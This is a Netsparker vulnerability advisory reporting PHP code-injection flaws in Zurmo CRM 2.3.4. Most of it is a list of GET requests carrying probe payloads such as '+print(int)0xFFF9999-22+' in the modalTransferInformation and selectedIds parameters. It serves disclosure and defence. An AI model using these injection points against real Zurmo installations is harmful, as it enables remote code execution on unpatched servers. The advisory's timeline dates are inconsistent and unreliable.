Code Evolution (PHP) Vulnerability in Zurmo 2.3.4
Information
--------------------
Advisory by Netsparker
Name: Code Evolution (PHP) in Zurmo 2.3.4
Affected Software: Zurmo
Affected Versions: 2.3.4
Homepage: http://zurmo.org/
Vulnerability: Code evolution (PHP)
Severity: Critical
Status: Not Fixed
CVSS Score (3.0): 8.8
Netsparker Advisory Reference: NS-18-034
Technical Details
--------------------
URL: http://{DOMAIN}/{PATH-OF-ZURMO}/app/index.php/accounts/default/modalList?modalTransferInformation%5BsourceIdFieldId%5D=TaskActivityItemForm_Account_id&modalTransferInformation%5BsourceNameFieldId%5D=%27%2bprint(int)0xFFF9999-22%2b%27&modalTransferInformation%5BmodalId%5D=modalContainer-task-modal-edit-form&modalTransferInformation%5BsourceModelId%5D=&Account_page=2
Parameter Name: modalTransferInformation%5BsourceNameFieldId%5D
Parameter Type: GET
Attack Pattern: '+print(int)0xFFF9999-22+'
URL: http://{DOMAIN}/{PATH-OF-ZURMO}/app/index.php/accounts/default/modalList?modalTransferInformation%5BsourceIdFieldId%5D=TaskActivityItemForm_Account_id&modalTransferInformation%5BsourceNameFieldId%5D=TaskActivityItemForm_Account_name&modalTransferInformation%5BmodalId%5D=%22%2bprint(int)0xFFF9999-22%2b%22&modalTransferInformation%5BsourceModelId%5D=
Parameter Name: modalTransferInformation%5BmodalId%5D
Parameter Type: GET
Attack Pattern: "+print(int)0xFFF9999-22+"
URL: http://{DOMAIN}/{PATH-OF-ZURMO}/app/index.php/accounts/default/modalList?modalTransferInformation%5BsourceIdFieldId%5D=%27%2bprint(int)0xFFF9999-22%2b%27&modalTransferInformation%5BsourceNameFieldId%5D=TaskActivityItemForm_Account_name&modalTransferInformation%5BmodalId%5D=modalContainer-task-modal-edit-form&modalTransferInformation%5BsourceModelId%5D=&Account_page=2
Parameter Name: modalTransferInformation%5BsourceIdFieldId%5D
Parameter Type: GET
Attack Pattern: '+print(int)0xFFF9999-22+'
URL: http://{DOMAIN}/{PATH-OF-ZURMO}/app/index.php/contacts/variableContactState/modalListAllContacts?modalTransferInformation%5BsourceIdFieldId%5D=TaskActivityItemForm_Contact_id&modalTransferInformation%5BsourceNameFieldId%5D=%27%2bprint(int)0xFFF9999-22%2b%27&modalTransferInformation%5BmodalId%5D=modalContainer-task-modal-edit-form&modalTransferInformation%5BsourceModelId%5D=&Contact_sort=firstName
Parameter Name: modalTransferInformation%5BsourceNameFieldId%5D
Parameter Type: GET
Attack Pattern: '+print(int)0xFFF9999-22+'
URL: http://{DOMAIN}/{PATH-OF-ZURMO}/app/index.php/contacts/variableContactState/modalListAllContacts?modalTransferInformation%5BsourceIdFieldId%5D=TaskActivityItemForm_Contact_id&modalTransferInformation%5BsourceNameFieldId%5D=TaskActivityItemForm_Contact_name&modalTransferInformation%5BmodalId%5D=%22%2bprint(int)0xFFF9999-22%2b%22&modalTransferInformation%5BsourceModelId%5D=&Contact_page=2
Parameter Name: modalTransferInformation%5BmodalId%5D
Parameter Type: GET
Attack Pattern: "+print(int)0xFFF9999-22+"
URL: http://{DOMAIN}/{PATH-OF-ZURMO}/app/index.php/contacts/variableContactState/modalListAllContacts?modalTransferInformation%5BsourceIdFieldId%5D=TaskActivityItemForm_Contact_id&modalTransferInformation%5BsourceNameFieldId%5D=%27%2bprint(int)0xFFF9999-22%2b%27&modalTransferInformation%5BmodalId%5D=modalContainer-task-modal-edit-form&modalTransferInformation%5BsourceModelId%5D=
Parameter Name: modalTransferInformation%5BsourceNameFieldId%5D
Parameter Type: GET
Attack Pattern: '+print(int)0xFFF9999-22+'
URL: http://{DOMAIN}/{PATH-OF-ZURMO}/app/index.php/emailTemplates/?EmailTemplate_page=&EmailTemplate_sort=&EmailTemplatesSearchForm%5BanyMixedAttributesScope%5D%5B%5D=name&EmailTemplatesSearchForm%5BanyMixedAttributes%5D=netsparker%40example.com&YII_CSRF_TOKEN=35554a192c7a2ba908aebaede4e0df12a7e5d5ae&ajax=list-view&clearingSearch=&multiselect_EmailTemplatesSearchForm_anyMixedAttributesScope=All&selectedIds=print(int)0xFFF9999-22
Parameter Name: selectedIds
Parameter Type: GET
Attack Pattern: print(int)0xFFF9999-22
URL: http://{DOMAIN}/{PATH-OF-ZURMO}/app/index.php/emailTemplates/default/modalList?modalTransferInformation%5BsourceIdFieldId%5D=Campaign_contactEmailTemplateNames_id&modalTransferInformation%5BsourceNameFieldId%5D=%27%2bprint(int)0xFFF9999-22%2b%27&modalTransferInformation%5BmodalId%5D=modalContainer-edit-form&modalTransferInformation%5BsourceModelId%5D=-27&stateMetadataAdapterClassName=EmailTemplatesForMarketingStateMetadataAdapter&EmailTemplate_sort=name
Parameter Name: modalTransferInformation%5BsourceNameFieldId%5D
Parameter Type: GET
Attack Pattern: '+print(int)0xFFF9999-22+'
URL: http://{DOMAIN}/{PATH-OF-ZURMO}/app/index.php/emailTemplates/default/modalList?modalTransferInformation%5BsourceIdFieldId%5D=%27%2bprint(int)0xFFF9999-22%2b%27&modalTransferInformation%5BsourceNameFieldId%5D=Campaign_contactEmailTemplateNames_name&modalTransferInformation%5BmodalId%5D=modalContainer-edit-form&modalTransferInformation%5BsourceModelId%5D=-27&stateMetadataAdapterClassName=EmailTemplatesForMarketingStateMetadataAdapter&EmailTemplate_sort=name
Parameter Name: modalTransferInformation%5BsourceIdFieldId%5D
Parameter Type: GET
Attack Pattern:'+print(int)0xFFF9999-22+'
URL: http://{DOMAIN}/{PATH-OF-ZURMO}/app/index.php/emailTemplates/default/modalList?modalTransferInformation%5BsourceIdFieldId%5D=Campaign_contactEmailTemplateNames_id&modalTransferInformation%5BsourceNameFieldId%5D=Campaign_contactEmailTemplateNames_name&modalTransferInformation%5BmodalId%5D=%22%2bprint(int)0xFFF9999-22%2b%22&modalTransferInformation%5BsourceModelId%5D=-27&stateMetadataAdapterClassName=EmailTemplatesForMarketingStateMetadataAdapter&EmailTemplate_sort=name
Parameter Name: modalTransferInformation%5BmodalId%5D
Parameter Type: GET
Attack Pattern:"+print(int)0xFFF9999-22+"
URL: http://{DOMAIN}/{PATH-OF-ZURMO}/app/index.php/opportunities/default/modalList?modalTransferInformation%5BsourceIdFieldId%5D=TaskActivityItemForm_Opportunity_id&modalTransferInformation%5BsourceNameFieldId%5D=TaskActivityItemForm_Opportunity_name&modalTransferInformation%5BmodalId%5D=%22%2bprint(int)0xFFF9999-22%2b%22&modalTransferInformation%5BsourceModelId%5D=
Parameter Name: modalTransferInformation%5BmodalId%5D
Parameter Type: GET
Attack Pattern:"+print(int)0xFFF9999-22+"
URL: http://{DOMAIN}/{PATH-OF-ZURMO}/app/index.php/opportunities/default/modalList?modalTransferInformation%5BsourceIdFieldId%5D=%27%2bprint(int)0xFFF9999-22%2b%27&modalTransferInformation%5BsourceNameFieldId%5D=TaskActivityItemForm_Opportunity_name&modalTransferInformation%5BmodalId%5D=modalContainer-task-modal-edit-form&modalTransferInformation%5BsourceModelId%5D=&Opportunity_page=2
Parameter Name: modalTransferInformation%5BsourceIdFieldId%5D
Parameter Type: GET
Attack Pattern: '+print(int)0xFFF9999-22+'
URL: http://{DOMAIN}/{PATH-OF-ZURMO}/app/index.php/opportunities/default/modalList?modalTransferInformation%5BsourceIdFieldId%5D=TaskActivityItemForm_Opportunity_id&modalTransferInformation%5BsourceNameFieldId%5D=%27%2bprint(int)0xFFF9999-22%2b%27&modalTransferInformation%5BmodalId%5D=modalContainer-task-modal-edit-form&modalTransferInformation%5BsourceModelId%5D=&Opportunity_sort=name
Parameter Name: modalTransferInformation%5BsourceNameFieldId%5D
Parameter Type: GET
Attack Pattern: '+print(int)0xFFF9999-22+'
URL: http://{DOMAIN}/{PATH-OF-ZURMO}/app/index.php/marketingLists/default/modalList?modalTransferInformation%5BsourceIdFieldId%5D=Campaign_marketingList_id&modalTransferInformation%5BsourceNameFieldId%5D=%27%2bprint(int)0xFFF9999-22%2b%27&modalTransferInformation%5BmodalId%5D=modalContainer-edit-form&modalTransferInformation%5BsourceModelId%5D=-27&MarketingList_sort=name
Parameter Name: modalTransferInformation%5BsourceNameFieldId%5D
Parameter Type: GET
Attack Pattern: '+print(int)0xFFF9999-22+'
URL: http://{DOMAIN}/{PATH-OF-ZURMO}/app/index.php/marketingLists/default/modalList?modalTransferInformation%5BsourceIdFieldId%5D=%27%2bprint(int)0xFFF9999-22%2b%27&modalTransferInformation%5BsourceNameFieldId%5D=Campaign_marketingList_name&modalTransferInformation%5BmodalId%5D=modalContainer-edit-form&modalTransferInformation%5BsourceModelId%5D=-27&MarketingList_sort=name
Parameter Name: modalTransferInformation%5BsourceIdFieldId%5D
Parameter Type: GET
Attack Pattern: '+print(int)0xFFF9999-22+'
URL: http://{DOMAIN}/{PATH-OF-ZURMO}/app/index.php/marketingLists/default/modalList?modalTransferInformation%5BsourceIdFieldId%5D=Campaign_marketingList_id&modalTransferInformation%5BsourceNameFieldId%5D=Campaign_marketingList_name&modalTransferInformation%5BmodalId%5D=%22%2bprint(int)0xFFF9999-22%2b%22&modalTransferInformation%5BsourceModelId%5D=-27&MarketingList_sort=name
Parameter Name: modalTransferInformation%5BmodalId%5D
Parameter Type: GET
Attack Pattern: "+print(int)0xFFF9999-22+"
URL: http://{DOMAIN}/{PATH-OF-ZURMO}/app/index.php/contacts/default/modalList?modalTransferInformation%5BsourceIdFieldId%5D=%27%2bprint(int)0xFFF9999-22%2b%27&modalTransferInformation%5BsourceNameFieldId%5D=Product_contact_name&modalTransferInformation%5BmodalId%5D=modalContainer-edit-form&modalTransferInformation%5BsourceModelId%5D=-31&Contact_sort=firstName
Parameter Name: modalTransferInformation%5BsourceIdFieldId%5D
Parameter Type: GET
Attack Pattern: '+print(int)0xFFF9999-22+'
URL: http://{DOMAIN}/{PATH-OF-ZURMO}/app/index.php/contacts/default/modalList?modalTransferInformation%5BsourceIdFieldId%5D=Product_contact_id&modalTransferInformation%5BsourceNameFieldId%5D=Product_contact_name&modalTransferInformation%5BmodalId%5D=%22%2bprint(int)0xFFF9999-22%2b%22&modalTransferInformation%5BsourceModelId%5D=-31&Contact_sort=firstName
Parameter Name: modalTransferInformation%5BmodalId%5D
Parameter Type: GET
Attack Pattern: "+print(int)0xFFF9999-22+"
URL: http://{DOMAIN}/{PATH-OF-ZURMO}/app/index.php/contacts/default/modalList?modalTransferInformation%5BsourceIdFieldId%5D=Product_contact_id&modalTransferInformation%5BsourceNameFieldId%5D=%27%2bprint(int)0xFFF9999-22%2b%27&modalTransferInformation%5BmodalId%5D=modalContainer-edit-form&modalTransferInformation%5BsourceModelId%5D=-31&Contact_sort=firstName
Parameter Name: modalTransferInformation%5BsourceNameFieldId%5D
Parameter Type: GET
Attack Pattern: '+print(int)0xFFF9999-22+'
URL: http://{DOMAIN}/{PATH-OF-ZURMO}/app/index.php/productTemplates/default/modalList?modalTransferInformation%5BsourceIdFieldId%5D=Product_productTemplate_id&modalTransferInformation%5BsourceNameFieldId%5D=%27%2bprint(int)0xFFF9999-22%2b%27&modalTransferInformation%5BmodalId%5D=modalContainer-edit-form&modalTransferInformation%5BsourceModelId%5D=-31&ProductTemplate_sort=name
Parameter Name: modalTransferInformation%5BsourceNameFieldId%5D
Parameter Type: GET
Attack Pattern: '+print(int)0xFFF9999-22+'
URL: http://{DOMAIN}/{PATH-OF-ZURMO}/app/index.php/productTemplates/default/modalList?modalTransferInformation%5BsourceIdFieldId%5D=Product_productTemplate_id&modalTransferInformation%5BsourceNameFieldId%5D=Product_productTemplate_name&modalTransferInformation%5BmodalId%5D=%22%2bprint(int)0xFFF9999-22%2b%22&modalTransferInformation%5BsourceModelId%5D=-31&ProductTemplate_sort=name
Parameter Name: modalTransferInformation%5BmodalId%5D
Parameter Type: GET
Attack Pattern: "+print(int)0xFFF9999-22+"
URL: http://{DOMAIN}/{PATH-OF-ZURMO}/app/index.php/productTemplates/default/modalList?modalTransferInformation%5BsourceIdFieldId%5D=%27%2bprint(int)0xFFF9999-22%2b%27&modalTransferInformation%5BsourceNameFieldId%5D=Product_productTemplate_name&modalTransferInformation%5BmodalId%5D=modalContainer-edit-form&modalTransferInformation%5BsourceModelId%5D=-31&ProductTemplate_sort=name
Parameter Name: modalTransferInformation%5BsourceIdFieldId%5D
Parameter Type: GET
Attack Pattern: '+print(int)0xFFF9999-22+'
URL: http://{DOMAIN}/{PATH-OF-ZURMO}/app/index.php/users/default/?User_page=&User_sort=&ajax=list-view&selectedIds=print(int)0xFFF9999-22
Parameter Name: selectedIds
Parameter Type: GET
Attack Pattern: print(int)0xFFF9999-22
URL: http://{DOMAIN}/{PATH-OF-ZURMO}/app/index.php/users/default/modalList?modalTransferInformation%5BsourceIdFieldId%5D=%27%2bprint(int)0xFFF9999-22%2b%27&modalTransferInformation%5BsourceNameFieldId%5D=Task_owner_name&modalTransferInformation%5BmodalId%5D=modalContainer-task-modal-edit-form&modalTransferInformation%5BsourceModelId%5D=-27&User_page=2
Parameter Name: modalTransferInformation%5BsourceIdFieldId%5D
Parameter Type: GET
Attack Pattern: '+print(int)0xFFF9999-22+'
URL: http://{DOMAIN}/{PATH-OF-ZURMO}/app/index.php/users/default/modalList?modalTransferInformation%5BsourceIdFieldId%5D=Task_owner_id&modalTransferInformation%5BsourceNameFieldId%5D=%27%2bprint(int)0xFFF9999-22%2b%27&modalTransferInformation%5BmodalId%5D=modalContainer-task-modal-edit-form&modalTransferInformation%5BsourceModelId%5D=-27&User_sort=firstName
Parameter Name: modalTransferInformation%5BsourceNameFieldId%5D
Parameter Type: GET
Attack Pattern:'+print(int)0xFFF9999-22+'
URL: http://{DOMAIN}/{PATH-OF-ZURMO}/app/index.php/users/default/modalList?modalTransferInformation%5BsourceIdFieldId%5D=Task_owner_id&modalTransferInformation%5BsourceNameFieldId%5D=Task_owner_name&modalTransferInformation%5BmodalId%5D=%22%2bprint(int)0xFFF9999-22%2b%22&modalTransferInformation%5BsourceModelId%5D=-27&User_page=2
Parameter Name: modalTransferInformation%5BmodalId%5D
Parameter Type: GET
Attack Pattern: "+print(int)0xFFF9999-22+"
For more information on Code Evolution (PHP) vulnerabilities read the article Code Evaluation (PHP).
Advisory Timeline
--------------------
12th November 2018 - First Contact
2nd January 2018 - Advisory Released
Credits & Authors
--------------------
These issues have been discovered by Zekvan Arslan while testing Netsparker Web Application Security Scanner.
About Netsparker
--------------------
Netsparker web application security scanners find and report security flaws and vulnerabilities such as SQL Injection and Cross-site Scripting (XSS) in all websites and web applications, regardless of the platform and technology they are built on. Netsparker scanning engineas unique detection and exploitation techniques allow it to be dead accurate in reporting vulnerabilities. The Netsparker web application security scanner is available in two editions; Netsparker Desktop and Netsparker Cloud. Visit our website https://www.netsparker.com for more information.